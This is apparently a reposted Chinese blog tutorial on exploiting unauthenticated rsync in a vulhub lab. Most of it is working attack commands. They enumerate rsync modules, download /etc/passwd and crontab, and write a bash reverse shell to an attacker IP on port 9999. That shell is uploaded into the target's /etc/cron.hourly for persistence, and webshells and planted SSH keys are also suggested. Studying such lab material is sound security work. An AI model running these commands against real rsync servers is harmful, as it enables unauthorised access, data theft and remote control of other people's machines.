rsync未授權訪問漏洞利用-getshell


漏洞簡介

rsync(remote synchronize)——Linux下實現遠程同步功能的軟件,能同步更新兩處計算機的文件及目錄。在同步文件時,可以保持源文件的權限、時間、軟硬鏈接等附加信息。常被用於在內網進行源代碼的分發及同步更新,因此使用人群多為開發人員;而開發人員安全意識薄弱、安全技能欠缺往往是導致rsync出現相關漏洞的根源。
rsync默認配置文件為/etc/rsyncd.conf,常駐模式啟動命令rsync –daemon,啟動成功后默認監聽於TCP端口873,可通過rsync-daemon及ssh兩種方式進行認證。

rsync未授權訪問帶來的危害主要有兩個:一是造成了嚴重的信息泄露;二是上傳腳本后門文件,遠程命令執行。

環境搭建

靶機:kali 192.168.200.128

攻擊機:centos 192.168.200.133

進入vulhub 啟動

cd vulhub/rsync/common
docker-compose up -d 

未授權漏洞復現

1.可以使用nmap去掃描該端口是否開啟服務

還可以使用Metasploit中關於允許匿名訪問的rsync掃描模塊:

auxiliary/scanner/rsync/modules_list

2.使用顯擺你的命令,可以列出目標靶機的同步目錄、查看模塊文件

rsync IP::   //這是在默認條件下沒有改變默認的端口,默認密碼是::
rsync --port=xxx ip::  //如果修改了默認端口就需要指定端口,這里就是需要自己指定47900端口
rsync -avz ip::www /tmp   //-avz是下載文件的命令,前一個是目標內容,后一個是自己指定存儲在本地的路徑
rsync -avz --port=xxx ip::dddd /tmp
rsync ip::
rsync rsync://ip:873


3.下載敏感文件
rsync -av rsync://192.168.200.128:873/src/etc/passwd ./

上傳文件反彈shell

1.查看crontab配置文件

rsync rsync://ip/src/etc/crontab

2.下載文件

rsync -av rsync://ip/src/etc/crontab /root/crontab.txt(/root/crontab.txt為下載路徑)

其中

17 * * * * root cd / && run-parts --report /etc/cron.hourly

表示在每小時的第17分鍾執行run-parts --report /etc/cron.hourly命令
3.我們可以這樣寫一個shell 反彈到攻擊機9999端口

touch shell
//文件寫入反彈shell命令
!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.200.133/9999 0>&1

chmod 777 shell

給他執行權限

4.傳入/etc/cron.hourly目錄下,監聽端口。

rsync -av shell rsync://192.168.200.128:873/src/etc/cron.hourly
![](https://img2022.cnblogs.com/blog/2455805/202203/2455805-20220303124624277-1928183634.png)
![](https://img2022.cnblogs.com/blog/2455805/202203/2455805-20220303124651196-1620755389.png)


此外如果目標有Web服務的話,可以直接寫WebShell,或者可以通過寫ssh公鑰實現獲取權限。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM